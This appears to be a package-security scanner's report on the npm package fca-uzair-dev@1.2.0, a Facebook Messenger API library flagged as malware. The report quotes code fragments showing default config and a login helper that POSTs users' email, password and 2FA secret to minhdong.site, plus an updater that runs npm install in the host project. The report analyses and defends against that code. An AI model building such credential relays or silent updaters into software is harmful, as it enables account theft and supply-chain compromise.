registry / Credential exfiltration / fca-uzair-dev
fca-uzair-dev
Uzair Facebook Chat API for Node.js - Interact with Facebook Messenger programmatically
This report shows the evidence for fca-uzair-dev@1.2.0. 2 of 2 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThis is concrete credential exfiltration to a package-controlled third-party endpoint, activated by the package's core login flow. The automatic project-level updater increases supply-chain risk.
Static reason
High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
Calling the exported login function with credentials, or automatic recovery after an invalid session.
Impact
A third party can receive Facebook credentials and the package can modify the consumer project by installing a new release.
Mechanism
Credential POST to a third-party login API and automatic npm installation.
Attack narrative
On normal credential login, the package selects minhdong.site by default and POSTs the email and password to its login endpoint. Session recovery also reads credentials from fca-uzair.json and uses this path. Separately, each login checks for updates and runs npm install in the current project, allowing the package to replace itself from npm or a GitHub URL.
AI rationale
This is concrete credential exfiltration to a package-controlled third-party endpoint, activated by the package's core login flow. The automatic project-level updater increases supply-chain risk.
Evidence
module/config.jsmodule/loginHelper.jsmodule/login.jsfunc/checkUpdate.jsfca-uzair.jsontemp/.fca-update-lock.json
Network endpoints2
minhdong.site/api/v1/facebook/login_iosregistry.npmjs.org/fca-uzair-dev/latest
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- Default configuration enables automatic login and selects a third-party API host.
- The login helper sends the supplied email and password in a POST request to that host.
- When a session is invalid, recovery reads configured credentials and sends them through the same API path.
- Every normal login runs an automatic updater that executes npm install in the consumer project.
Evidence against
- package.json has no npm preinstall, install, or postinstall hook.
- The configurable WebSocket remote-control feature is disabled by default.
Behavioral surface
ChildProcessDynamicRequireEnvironmentVarsFilesystemNetworkWebSocket
HighEntropyStringsUrlStrings
Source & flagged code
10 flagged · loading sourcemodule/loginHelper.jsView file
•matchType = normalized_sha256
matchedPackage = fca-uzair-dev@1.1.0
matchedPath = module/loginHelper.js
matchedIdentity = npm:ZmNhLXV6YWlyLWRldg:1.1.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
module/loginHelper.jsView on unpkg1"use strict";
L2: const fs = require("fs");
L3: const path = require("path");
Medium
Dynamic Require
Package source references dynamic require/import behavior.
module/loginHelper.jsView on unpkg · L1module/config.jsView file
•Default automatic account recovery forwards email, password, and two-factor material to a fixed non-platform login relay.
module/config.js:
autoLogin: true,
apiServer: "https://minhdong.site",
credentials: { email: "", password: "", twofactor: "" },
module/loginHelper.js:
* @param {string} email - Email hoặc số điện thoại
* @param {string} password - Mật khẩu
* @param {string|null} twoFactor - Secret Base32 cho 2FA (không phải mã 6 số)
async function loginViaAPI(email, password, twoFactor = null, apiBaseUrl = null, apiKey = null) {
const endpoint = `${baseUrl}/api/v1/facebook/login_ios`;
email,
password
// Only include twoFactor if provided (must be Base32 secret, not 6-digit code)
module/loginHelper.js:
const u = config.credentials?.email || config.email;
const p = config.credentials?.pas
Critical
Hardcoded Runtime Data Exfiltration
Source sends credentials or rich application records to a package-controlled external receiver enabled by default.
module/config.jsView on unpkg•matchType = normalized_sha256
matchedPackage = fca-uzair-dev@1.1.0
matchedPath = module/config.js
matchedIdentity = npm:ZmNhLXV6YWlyLWRldg:1.1.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
module/config.jsView on unpkgpackage.jsonView file
•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1
High
Semantic Analysis Limited
A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.
package.jsonView on unpkgfunc/checkUpdate.jsView file
•matchType = normalized_sha256
matchedPackage = fca-uzair-dev@1.1.0
matchedPath = func/checkUpdate.js
matchedIdentity = npm:ZmNhLXV6YWlyLWRldg:1.1.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
func/checkUpdate.jsView on unpkg•matchType = malicious_source_fingerprint_signature
signature = 649b9d70dea5d989
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = fca-uzair-dev@1.1.0
matchedPath = func/checkUpdate.js
matchedIdentity = npm:ZmNhLXV6YWlyLWRldg:1.1.0
similarity = 1.000
shingleOverlap = 100
summary = package final verdict is malicious
High
Known Malware Source Fingerprint Signature
Source fingerprint signature matches a known malicious package signature; route for source-aware review.
func/checkUpdate.jsView on unpkgsrc/api/messaging/uploadAttachment.jsView file
•matchType = normalized_sha256
matchedPackage = fca-uzair-dev@1.1.0
matchedPath = [redacted].js
matchedIdentity = npm:ZmNhLXV6YWlyLWRldg:1.1.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
src/api/messaging/uploadAttachment.jsView on unpkgsrc/api/socket/core/getSeqID.jsView file
•matchType = normalized_sha256
matchedPackage = fca-uzair-dev@1.1.0
matchedPath = src/api/socket/core/getSeqID.js
matchedIdentity = npm:ZmNhLXV6YWlyLWRldg:1.1.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
src/api/socket/core/getSeqID.jsView on unpkgsrc/api/users/getUserInfo.jsView file
•matchType = normalized_sha256
matchedPackage = fca-uzair-dev@1.1.0
matchedPath = src/api/users/getUserInfo.js
matchedIdentity = npm:ZmNhLXV6YWlyLWRldg:1.1.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
src/api/users/getUserInfo.jsView on unpkgFindings
1 Critical8 High4 Medium4 Low
CriticalHardcoded Runtime Data Exfiltrationmodule/config.js
HighSemantic Analysis Limitedpackage.json
HighKnown Malware Source Similarityfunc/checkUpdate.js
HighKnown Malware Source Similaritymodule/loginHelper.js
HighKnown Malware Source Similaritysrc/api/messaging/uploadAttachment.js
HighKnown Malware Source Similaritymodule/config.js
HighKnown Malware Source Similaritysrc/api/socket/core/getSeqID.js
HighKnown Malware Source Similaritysrc/api/users/getUserInfo.js
HighKnown Malware Source Fingerprint Signaturefunc/checkUpdate.js
MediumDynamic Requiremodule/loginHelper.js
MediumNetwork
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to fca-uzair-dev@1.2.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing fca-uzair-dev@1.2.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.